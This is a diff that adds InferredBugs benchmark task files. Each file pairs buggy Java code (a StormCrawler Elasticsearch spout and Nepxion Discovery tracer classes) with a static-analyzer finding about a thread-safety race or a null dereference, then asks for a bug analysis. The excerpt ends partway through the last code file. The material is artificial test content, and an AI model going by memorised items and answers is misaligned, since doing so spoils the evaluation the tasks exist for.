+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.digitalpebble.stormcrawler.elasticsearch.persistence;
+
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Queue;
+import java.util.Set;
+
+import org.apache.commons.lang.StringUtils;
+import org.elasticsearch.action.admin.cluster.shards.ClusterSearchShardsGroup;
+import org.elasticsearch.action.admin.cluster.shards.ClusterSearchShardsRequest;
+import org.elasticsearch.action.admin.cluster.shards.ClusterSearchShardsResponse;
+import org.elasticsearch.action.search.SearchRequestBuilder;
+import org.elasticsearch.action.search.SearchResponse;
+import org.elasticsearch.action.search.SearchType;
+import org.elasticsearch.client.Client;
+import org.elasticsearch.index.query.QueryBuilder;
+import org.elasticsearch.index.query.QueryBuilders;
+import org.elasticsearch.search.SearchHit;
+import org.elasticsearch.search.aggregations.AggregationBuilders;
+import org.elasticsearch.search.aggregations.Aggregations;
+import org.elasticsearch.search.aggregations.bucket.terms.Terms;
+import org.elasticsearch.search.aggregations.bucket.terms.TermsBuilder;
+import org.elasticsearch.search.aggregations.metrics.min.MinBuilder;
+import org.elasticsearch.search.aggregations.metrics.tophits.TopHits;
+import org.elasticsearch.search.aggregations.metrics.tophits.TopHitsBuilder;
+import org.elasticsearch.search.sort.FieldSortBuilder;
+import org.elasticsearch.search.sort.SortBuilders;
+import org.elasticsearch.search.sort.SortOrder;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.digitalpebble.stormcrawler.Metadata;
+import com.digitalpebble.stormcrawler.elasticsearch.ElasticSearchConnection;
+import com.digitalpebble.stormcrawler.util.ConfUtils;
+
+import org.apache.storm.metric.api.IMetric;
+import org.apache.storm.metric.api.MultiCountMetric;
+import org.apache.storm.spout.SpoutOutputCollector;
+import org.apache.storm.task.TopologyContext;
+import org.apache.storm.topology.OutputFieldsDeclarer;
+import org.apache.storm.topology.base.BaseRichSpout;
+import org.apache.storm.tuple.Fields;
+import org.apache.storm.tuple.Values;
+
+/**
+ * Spout which pulls URL from an ES index. Use a single instance unless you use
+ * 'es.status.routing' with the StatusUpdaterBolt, in which case you need to
+ * have exactly the same number of spout instances as ES shards. Guarantees a
+ * good mix of URLs by aggregating them by an arbitrary field e.g.
+ * metadata.hostname.
+ **/
+@SuppressWarnings("serial")
+public class AggregationSpout extends BaseRichSpout {
+
+    private static final Logger LOG = LoggerFactory
+            .getLogger(AggregationSpout.class);
+
+    private static final String ESBoltType = "status";
+
+    private static final String ESStatusIndexNameParamName = "es.status.index.name";
+    private static final String ESStatusDocTypeParamName = "es.status.doc.type";
+
+    private static final String ESStatusRoutingFieldParamName = "es.status.routing.fieldname";
+
+    private static final String ESStatusMaxBucketParamName = "es.status.max.buckets";
+    private static final String ESStatusMaxURLsParamName = "es.status.max.urls.per.bucket";
+
+    /**
+     * Field name to use for sorting the URLs within a bucket, not used if empty
+     * or null.
+     **/
+    private static final String ESStatusBucketSortFieldParamName = "es.status.bucket.sort.field";
+
+    /**
+     * Field name to use for sorting the buckets, not used if empty or null.
+     **/
+    private static final String ESStatusGlobalSortFieldParamName = "es.status.global.sort.field";
+
+    /**
+     * Min time to allow between 2 successive queries to ES. Value in msecs,
+     * default 2000.
+     **/
+    private static final String ESStatusMinDelayParamName = "es.status.min.delay.queries";
+
+    protected String indexName;
+    protected String docType;
+
+    private SpoutOutputCollector _collector;
+
+    protected static Client client;
+
+    protected Set<String> beingProcessed = new HashSet<>();
+
+    protected Queue<Values> buffer = new LinkedList<>();
+
+    /** Field name used for field collapsing e.g. metadata.hostname **/
+    protected String partitionField;
+
+    protected int maxURLsPerBucket = 10;
+
+    protected int maxBucketNum = 10;
+
+    protected MultiCountMetric eventCounter;
+
+    private boolean active = true;
+
+    protected long minDelayBetweenQueries = 2000;
+
+    /**
+     * when using multiple instances - each one is in charge of a specific shard
+     * useful when sharding based on host or domain to guarantee a good mix of
+     * URLs
+     */
+    protected int shardID = -1;
+
+    private String bucketSortField = "";
+
+    private String totalSortField = "";
+
+    protected Date timePreviousQuery = null;
+
+    /** Used to distinguish between instances in the logs **/
+    protected String logIdprefix = "";
+
+    @Override
+    public void open(Map stormConf, TopologyContext context,
+            SpoutOutputCollector collector) {
+
+        indexName = ConfUtils.getString(stormConf, ESStatusIndexNameParamName,
+                "status");
+        docType = ConfUtils.getString(stormConf, ESStatusDocTypeParamName,
+                "status");
+
+        partitionField = ConfUtils.getString(stormConf,
+                ESStatusRoutingFieldParamName);
+
+        bucketSortField = ConfUtils.getString(stormConf,
+                ESStatusBucketSortFieldParamName, bucketSortField);
+
+        totalSortField = ConfUtils.getString(stormConf,
+                ESStatusGlobalSortFieldParamName);
+
+        maxURLsPerBucket = ConfUtils.getInt(stormConf,
+                ESStatusMaxURLsParamName, 1);
+        maxBucketNum = ConfUtils.getInt(stormConf, ESStatusMaxBucketParamName,
+                10);
+
+        minDelayBetweenQueries = ConfUtils.getLong(stormConf,
+                ESStatusMinDelayParamName, 2000);
+
+        // one ES client per JVM
+        synchronized (AggregationSpout.class) {
+            try {
+                if (client == null) {
+                    client = ElasticSearchConnection.getClient(stormConf,
+                            ESBoltType);
+                }
+            } catch (Exception e1) {
+                LOG.error("Can't connect to ElasticSearch", e1);
+                throw new RuntimeException(e1);
+            }
+        }
+
+        // if more than one instance is used we expect their number to be the
+        // same as the number of shards
+        int totalTasks = context
+                .getComponentTasks(context.getThisComponentId()).size();
+        if (totalTasks > 1) {
+            logIdprefix = "[" + context.getThisComponentId() + " #"
+                    + context.getThisTaskIndex() + "] ";
+
+            // determine the number of shards so that we can restrict the
+            // search
+            ClusterSearchShardsRequest request = new ClusterSearchShardsRequest(
+                    indexName);
+            ClusterSearchShardsResponse shardresponse = client.admin()
+                    .cluster().searchShards(request).actionGet();
+            ClusterSearchShardsGroup[] shardgroups = shardresponse.getGroups();
+            if (totalTasks != shardgroups.length) {
+                throw new RuntimeException(
+                        "Number of ES spout instances should be the same as number of shards ("
+                                + shardgroups.length + ") but is " + totalTasks);
+            }
+            shardID = shardgroups[context.getThisTaskIndex()].getShardId();
+            LOG.info("{} assigned shard ID {}", logIdprefix, shardID);
+        }
+
+        _collector = collector;
+
+        this.eventCounter = context.registerMetric("counters",
+                new MultiCountMetric(), 10);
+
+        context.registerMetric("buffer_size", new IMetric() {
+            @Override
+            public Object getValueAndReset() {
+                return buffer.size();
+            }
+        }, 10);
+    }
+
+    @Override
+    public void close() {
+        if (client != null)
+            client.close();
+    }
+
+    @Override
+    public void declareOutputFields(OutputFieldsDeclarer declarer) {
+        declarer.declare(new Fields("url", "metadata"));
+    }
+
+    @Override
+    public void nextTuple() {
+
+        // inactive?
+        if (active == false)
+            return;
+
+        // have anything in the buffer?
+        if (!buffer.isEmpty()) {
+            Values fields = buffer.remove();
+
+            String url = fields.get(0).toString();
+            beingProcessed.add(url);
+
+            this._collector.emit(fields, url);
+            eventCounter.scope("emitted").incrBy(1);
+
+            return;
+        }
+        // re-populate the buffer
+        populateBuffer();
+    }
+
+    /** run a query on ES to populate the internal buffer **/
+    protected void populateBuffer() {
+
+        Date now = new Date();
+
+        // check that we allowed some time between queries
+        if (timePreviousQuery != null) {
+            long difference = now.getTime() - timePreviousQuery.getTime();
+            if (difference < minDelayBetweenQueries) {
+                long sleepTime = minDelayBetweenQueries - difference;
+                LOG.info(
+                        "{} Not enough time elapsed since {} - sleeping for {}",
+                        logIdprefix, timePreviousQuery, sleepTime);
+                try {
+                    Thread.sleep(sleepTime);
+                } catch (InterruptedException e) {
+                    LOG.error("{} InterruptedException caught while waiting",
+                            logIdprefix);
+                }
+                return;
+            }
+        }
+
+        timePreviousQuery = now;
+
+        LOG.info("{} Populating buffer with nextFetchDate <= {}", logIdprefix,
+                now);
+
+        QueryBuilder rangeQueryBuilder = QueryBuilders.rangeQuery(
+                "nextFetchDate").lte(now);
+
+        SearchRequestBuilder srb = client.prepareSearch(indexName)
+                .setTypes(docType).setSearchType(SearchType.QUERY_THEN_FETCH)
+                .setQuery(rangeQueryBuilder).setFrom(0).setSize(0)
+                .setExplain(false);
+
+        TermsBuilder aggregations = AggregationBuilders.terms("partition")
+                .field("metadata." + partitionField).size(maxBucketNum);
+
+        TopHitsBuilder tophits = AggregationBuilders.topHits("docs")
+                .setSize(maxURLsPerBucket).setExplain(false);
+        // sort within a bucket
+        if (StringUtils.isNotBlank(bucketSortField)) {
+            FieldSortBuilder sorter = SortBuilders.fieldSort(bucketSortField)
+                    .order(SortOrder.ASC);
+            tophits.addSort(sorter);
+        }
+
+        aggregations.subAggregation(tophits);
+
+        // sort between buckets
+        if (StringUtils.isNotBlank(totalSortField)) {
+            MinBuilder minBuilder = AggregationBuilders.min("top_hit").field(
+                    totalSortField);
+            aggregations.subAggregation(minBuilder);
+            aggregations.order(Terms.Order.aggregation("top_hit", true));
+        }
+
+        srb.addAggregation(aggregations);
+
+        // https://www.elastic.co/guide/en/elasticsearch/reference/current/search-request-preference.html
+        // _shards:2,3
+        if (shardID != -1) {
+            srb.setPreference("_shards:" + shardID);
+        }
+
+        // dump query to log
+        LOG.debug("{} ES query {}", logIdprefix, srb.toString());
+
+        long start = System.currentTimeMillis();
+        SearchResponse response = srb.execute().actionGet();
+        long end = System.currentTimeMillis();
+
+        eventCounter.scope("ES_query_time_msec").incrBy(end - start);
+
+        Aggregations aggregs = response.getAggregations();
+
+        Terms agg = aggregs.get("partition");
+
+        int numhits = 0;
+        int numBuckets = 0;
+        int alreadyprocessed = 0;
+
+        // For each entry
+        for (Terms.Bucket entry : agg.getBuckets()) {
+            String key = (String) entry.getKey(); // bucket key
+            long docCount = entry.getDocCount(); // Doc count
+
+            int hitsForThisBucket = 0;
+
+            // filter results so that we don't include URLs we are already
+            // being processed
+            TopHits topHits = entry.getAggregations().get("docs");
+            for (SearchHit hit : topHits.getHits().getHits()) {
+                hitsForThisBucket++;
+
+                Map<String, Object> keyValues = hit.sourceAsMap();
+                String url = (String) keyValues.get("url");
+
+                LOG.debug("{} -> id [{}], _source [{}]", logIdprefix,
+                        hit.getId(), hit.getSourceAsString());
+
+                // is already being processed - skip it!
+                if (beingProcessed.contains(url)) {
+                    alreadyprocessed++;
+                    continue;
+                }
+                Metadata metadata = fromKeyValues(keyValues);
+                buffer.add(new Values(url, metadata));
+            }
+
+            if (hitsForThisBucket > 0)
+                numBuckets++;
+
+            numhits += hitsForThisBucket;
+
+            LOG.debug("{} key [{}], hits[{}], doc_count [{}]", logIdprefix,
+                    key, hitsForThisBucket, docCount, alreadyprocessed);
+        }
+
+        // Shuffle the URLs so that we don't get blocks of URLs from the same
+        // host or domain
+        Collections.shuffle((List) buffer);
+
+        LOG.info(
+                "{} ES query returned {} hits from {} buckets in {} msec with {} already being processed",
+                logIdprefix, numhits, numBuckets, end - start, alreadyprocessed);
+
+        eventCounter.scope("already_being_processed").incrBy(alreadyprocessed);
+        eventCounter.scope("ES_queries").incrBy(1);
+        eventCounter.scope("ES_docs").incrBy(numhits);
+    }
+
+    protected final Metadata fromKeyValues(Map<String, Object> keyValues) {
+        Map<String, List<String>> mdAsMap = (Map<String, List<String>>) keyValues
+                .get("metadata");
+        Metadata metadata = new Metadata();
+        if (mdAsMap != null) {
+            Iterator<Entry<String, List<String>>> mdIter = mdAsMap.entrySet()
+                    .iterator();
+            while (mdIter.hasNext()) {
+                Entry<String, List<String>> mdEntry = mdIter.next();
+                String key = mdEntry.getKey();
+                // periods are not allowed in ES2 - replace with %2E
+                key = key.replaceAll("%2E", "\\.");
+                Object mdValObj = mdEntry.getValue();
+                // single value
+                if (mdValObj instanceof String) {
+                    metadata.addValue(key, (String) mdValObj);
+                }
+                // multi valued
+                else {
+                    metadata.addValues(key, (List<String>) mdValObj);
+                }
+            }
+        }
+        return metadata;
+    }
+
+    @Override
+    public void ack(Object msgId) {
+        LOG.debug("{}  Ack for {}", logIdprefix, msgId);
+        beingProcessed.remove(msgId);
+        eventCounter.scope("acked").incrBy(1);
+    }
+
+    @Override
+    public void fail(Object msgId) {
+        LOG.info("{}  Fail for {}", logIdprefix, msgId);
+        beingProcessed.remove(msgId);
+        eventCounter.scope("failed").incrBy(1);
+    }
+
+    @Override
+    public void activate() {
+        active = true;
+    }
+
+    @Override
+    public void deactivate() {
+        active = false;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.digitalpebble.stormcrawler.elasticsearch.persistence.AggregationSpout.nextTuple` reads without synchronization from `this.com.digitalpebble.stormcrawler.elasticsearch.persistence.AggregationSpout._collector`. Potentially races with write in method `AggregationSpout.open(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AggregationSpout.nextTuple()
+
+### Procedure Id:
+com.digitalpebble.stormcrawler.elasticsearch.persistence.AggregationSpout.nextTuple():void.2136da8cc9b69d5b65f6b704d29d18f0
+
+### File:
+external/elasticsearch/src/main/java/com/digitalpebble/stormcrawler/elasticsearch/persistence/AggregationSpout.java
+
+### Key:
+AggregationSpout.java|nextTuple|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+ca24d7ed5a047a977e5374d4de84d038
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6204/instruction.md b/inferredbugs-6204/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7728d29b78aab17464d822310ce716873de536b8
--- /dev/null
+++ b/inferredbugs-6204/instruction.md
@@ -0,0 +1,159 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Discovery
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.nepxion.discovery.plugin.strategy.tracer;
+
+/**
+ * <p>Title: Nepxion Discovery</p>
+ * <p>Description: Nepxion Discovery</p>
+ * <p>Copyright: Copyright (c) 2017-2050</p>
+ * <p>Company: Nepxion</p>
+ * @author Haojun Ren
+ * @version 1.0
+ */
+
+import java.util.Map;
+
+import org.apache.commons.collections4.MapUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+
+import com.nepxion.discovery.common.constant.DiscoveryConstant;
+import com.nepxion.discovery.plugin.framework.adapter.PluginAdapter;
+import com.nepxion.discovery.plugin.strategy.constant.StrategyConstant;
+import com.nepxion.discovery.plugin.strategy.context.StrategyContextHolder;
+
+public class StrategyTracer {
+    @Autowired
+    protected PluginAdapter pluginAdapter;
+
+    @Autowired
+    protected StrategyContextHolder strategyContextHolder;
+
+    @Value("${" + StrategyConstant.SPRING_APPLICATION_STRATEGY_TRACE_DEBUG_ENABLED + ":false}")
+    protected Boolean traceDebugEnabled;
+
+    public void debugTraceHeader() {
+        if (!traceDebugEnabled) {
+            return;
+        }
+
+        System.out.println("---------------- Trace Information ---------------");
+        Map<String, String> debugTraceMap = getDebugTraceMap();
+        if (MapUtils.isNotEmpty(debugTraceMap)) {
+            for (Map.Entry<String, String> entry : debugTraceMap.entrySet()) {
+                System.out.println(entry.getKey() + "=" + entry.getValue());
+            }
+        }
+        System.out.println(DiscoveryConstant.N_D_SERVICE_GROUP + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_GROUP));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_TYPE + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_TYPE));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_ID + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_ID));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_ADDRESS + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_ADDRESS));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_VERSION + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_VERSION));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_REGION + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_REGION));
+        System.out.println("--------------------------------------------------");
+    }
+
+    public void debugTraceLocal() {
+        if (!traceDebugEnabled) {
+            return;
+        }
+
+        System.out.println("---------------- Trace Information ---------------");
+        Map<String, String> debugTraceMap = getDebugTraceMap();
+        if (MapUtils.isNotEmpty(debugTraceMap)) {
+            for (Map.Entry<String, String> entry : debugTraceMap.entrySet()) {
+                System.out.println(entry.getKey() + "=" + entry.getValue());
+            }
+        }
+        System.out.println(DiscoveryConstant.N_D_SERVICE_GROUP + "=" + pluginAdapter.getGroup());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_TYPE + "=" + pluginAdapter.getServiceType());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_ID + "=" + pluginAdapter.getServiceId());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_ADDRESS + "=" + pluginAdapter.getHost() + ":" + pluginAdapter.getPort());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_VERSION + "=" + pluginAdapter.getVersion());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_REGION + "=" + pluginAdapter.getRegion());
+        System.out.println("--------------------------------------------------");
+    }
+
+    public PluginAdapter getPluginAdapter() {
+        return pluginAdapter;
+    }
+
+    public StrategyContextHolder getStrategyContextHolder() {
+        return strategyContextHolder;
+    }
+
+    public Map<String, String> getDebugTraceMap() {
+        return null;
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `debugTraceMap` last assigned on line 60 could be null and is dereferenced at line 62.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void StrategyTracer.debugTraceLocal()
+
+### Procedure Id:
+com.nepxion.discovery.plugin.strategy.tracer.StrategyTracer.debugTraceLocal():void.7ed37bc1b51e56e824231370b502733f
+
+### File:
+discovery-plugin-strategy/src/main/java/com/nepxion/discovery/plugin/strategy/tracer/StrategyTracer.java
+
+### Key:
+StrategyTracer.java|debugTraceLocal|NULL_DEREFERENCE
+
+### Node Key:
+28fa175b8bbfed150fdcc2c7ec48c11e
+
+### Hash:
+8152bd57e5f550b81c2fcfc12554f6ee
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6205/instruction.md b/inferredbugs-6205/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..af192c5acc512a05d79e99c5a8a136a558c5cec3
--- /dev/null
+++ b/inferredbugs-6205/instruction.md
@@ -0,0 +1,314 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** Discovery
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.nepxion.discovery.plugin.strategy.tracer;
+
+/**
+ * <p>Title: Nepxion Discovery</p>
+ * <p>Description: Nepxion Discovery</p>
+ * <p>Copyright: Copyright (c) 2017-2050</p>
+ * <p>Company: Nepxion</p>
+ * @author Haojun Ren
+ * @version 1.0
+ */
+
+import java.util.Map;
+
+import org.apache.commons.collections4.MapUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.jboss.logging.MDC;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+
+import com.nepxion.discovery.common.constant.DiscoveryConstant;
+import com.nepxion.discovery.plugin.framework.adapter.PluginAdapter;
+import com.nepxion.discovery.plugin.strategy.adapter.StrategyTracerAdapter;
+import com.nepxion.discovery.plugin.strategy.constant.StrategyConstant;
+import com.nepxion.discovery.plugin.strategy.context.StrategyContextHolder;
+
+public class StrategyTracer {
+    private static final Logger LOG = LoggerFactory.getLogger(StrategyTracer.class);
+
+    @Autowired
+    protected PluginAdapter pluginAdapter;
+
+    @Autowired
+    protected StrategyContextHolder strategyContextHolder;
+
+    @Autowired(required = false)
+    protected StrategyTracerAdapter strategyTracerAdapter;
+
+    @Value("${" + StrategyConstant.SPRING_APPLICATION_STRATEGY_TRACE_LOGGER_ENABLED + ":false}")
+    protected Boolean traceLoggerEnabled;
+
+    @Value("${" + StrategyConstant.SPRING_APPLICATION_STRATEGY_TRACE_LOGGER_MDC_KEY_SHOWN + ":true}")
+    protected Boolean traceLoggerMdcKeyShown;
+
+    @Value("${" + StrategyConstant.SPRING_APPLICATION_STRATEGY_TRACE_DEBUG_ENABLED + ":false}")
+    protected Boolean traceDebugEnabled;
+
+    public void mdcHeader() {
+        if (!traceLoggerEnabled) {
+            return;
+        }
+
+        Map<String, String> customizationMap = getCustomizationMap();
+        if (MapUtils.isNotEmpty(customizationMap)) {
+            for (Map.Entry<String, String> entry : customizationMap.entrySet()) {
+                MDC.put(entry.getKey(), (traceLoggerMdcKeyShown ? entry.getKey() + "=" : StringUtils.EMPTY) + entry.getValue());
+            }
+        }
+
+        mdcUpdate();
+        MDC.put(DiscoveryConstant.N_D_SERVICE_GROUP, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_GROUP + "=" : StringUtils.EMPTY) + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_GROUP));
+        MDC.put(DiscoveryConstant.N_D_SERVICE_TYPE, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_TYPE + "=" : StringUtils.EMPTY) + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_TYPE));
+        MDC.put(DiscoveryConstant.N_D_SERVICE_ID, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_ID + "=" : StringUtils.EMPTY) + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_ID));
+        MDC.put(DiscoveryConstant.N_D_SERVICE_ADDRESS, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_ADDRESS + "=" : StringUtils.EMPTY) + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_ADDRESS));
+        MDC.put(DiscoveryConstant.N_D_SERVICE_VERSION, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_VERSION + "=" : StringUtils.EMPTY) + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_VERSION));
+        MDC.put(DiscoveryConstant.N_D_SERVICE_REGION, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_REGION + "=" : StringUtils.EMPTY) + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_REGION));
+
+        LOG.debug("Trace chain information outputs to MDC...");
+    }
+
+    public void mdcLocal() {
+        if (!traceLoggerEnabled) {
+            return;
+        }
+
+        Map<String, String> customizationMap = getCustomizationMap();
+        if (MapUtils.isNotEmpty(customizationMap)) {
+            for (Map.Entry<String, String> entry : customizationMap.entrySet()) {
+                MDC.put(entry.getKey(), (traceLoggerMdcKeyShown ? entry.getKey() + "=" : StringUtils.EMPTY) + entry.getValue());
+            }
+        }
+
+        mdcUpdate();
+        MDC.put(DiscoveryConstant.N_D_SERVICE_GROUP, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_GROUP + "=" : StringUtils.EMPTY) + pluginAdapter.getGroup());
+        MDC.put(DiscoveryConstant.N_D_SERVICE_TYPE, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_TYPE + "=" : StringUtils.EMPTY) + pluginAdapter.getServiceType());
+        MDC.put(DiscoveryConstant.N_D_SERVICE_ID, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_ID + "=" : StringUtils.EMPTY) + pluginAdapter.getServiceId());
+        MDC.put(DiscoveryConstant.N_D_SERVICE_ADDRESS, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_ADDRESS + "=" : StringUtils.EMPTY) + pluginAdapter.getHost() + ":" + pluginAdapter.getPort());
+        MDC.put(DiscoveryConstant.N_D_SERVICE_VERSION, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_VERSION + "=" : StringUtils.EMPTY) + pluginAdapter.getVersion());
+        MDC.put(DiscoveryConstant.N_D_SERVICE_REGION, (traceLoggerMdcKeyShown ? DiscoveryConstant.N_D_SERVICE_REGION + "=" : StringUtils.EMPTY) + pluginAdapter.getRegion());
+
+        LOG.debug("Trace chain information outputs to MDC...");
+    }
+
+    public void mdcUpdate() {
+        if (!traceLoggerEnabled) {
+            return;
+        }
+
+        String traceId = getTraceId();
+        String spanId = getSpanId();
+        MDC.put(DiscoveryConstant.TRACE_ID, (traceLoggerMdcKeyShown ? DiscoveryConstant.TRACE_ID + "=" : StringUtils.EMPTY) + (StringUtils.isNotEmpty(traceId) ? traceId : StringUtils.EMPTY));
+        MDC.put(DiscoveryConstant.SPAN_ID, (traceLoggerMdcKeyShown ? DiscoveryConstant.SPAN_ID + "=" : StringUtils.EMPTY) + (StringUtils.isNotEmpty(spanId) ? spanId : StringUtils.EMPTY));
+    }
+
+    public void mdcClear() {
+        if (!traceLoggerEnabled) {
+            return;
+        }
+
+        MDC.clear();
+
+        LOG.debug("Trace chain context of MDC cleared...");
+    }
+
+    public void debugHeader() {
+        if (!traceDebugEnabled) {
+            return;
+        }
+
+        System.out.println("---------------- Trace Information ---------------");
+        String traceId = getTraceId();
+        String spanId = getSpanId();
+        System.out.println(DiscoveryConstant.TRACE_ID + "=" + (StringUtils.isNotEmpty(traceId) ? traceId : StringUtils.EMPTY));
+        System.out.println(DiscoveryConstant.SPAN_ID + "=" + (StringUtils.isNotEmpty(spanId) ? spanId : StringUtils.EMPTY));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_GROUP + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_GROUP));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_TYPE + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_TYPE));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_ID + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_ID));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_ADDRESS + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_ADDRESS));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_VERSION + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_VERSION));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_REGION + "=" + strategyContextHolder.getHeader(DiscoveryConstant.N_D_SERVICE_REGION));
+
+        String routeVersion = strategyContextHolder.getHeader(DiscoveryConstant.N_D_VERSION);
+        if (StringUtils.isNotEmpty(routeVersion)) {
+            System.out.println(DiscoveryConstant.N_D_VERSION + "=" + routeVersion);
+        }
+        String routeRegion = strategyContextHolder.getHeader(DiscoveryConstant.N_D_REGION);
+        if (StringUtils.isNotEmpty(routeRegion)) {
+            System.out.println(DiscoveryConstant.N_D_REGION + "=" + routeRegion);
+        }
+        String routeAddress = strategyContextHolder.getHeader(DiscoveryConstant.N_D_ADDRESS);
+        if (StringUtils.isNotEmpty(routeAddress)) {
+            System.out.println(DiscoveryConstant.N_D_ADDRESS + "=" + routeAddress);
+        }
+        String routeVersionWeight = strategyContextHolder.getHeader(DiscoveryConstant.N_D_VERSION_WEIGHT);
+        if (StringUtils.isNotEmpty(routeVersionWeight)) {
+            System.out.println(DiscoveryConstant.N_D_VERSION_WEIGHT + "=" + routeVersionWeight);
+        }
+        String routeRegionWeight = strategyContextHolder.getHeader(DiscoveryConstant.N_D_REGION_WEIGHT);
+        if (StringUtils.isNotEmpty(routeRegionWeight)) {
+            System.out.println(DiscoveryConstant.N_D_REGION_WEIGHT + "=" + routeRegionWeight);
+        }
+
+        Map<String, String> customizationMap = getCustomizationMap();
+        if (MapUtils.isNotEmpty(customizationMap)) {
+            for (Map.Entry<String, String> entry : customizationMap.entrySet()) {
+                System.out.println(entry.getKey() + "=" + entry.getValue());
+            }
+        }
+        System.out.println("--------------------------------------------------");
+    }
+
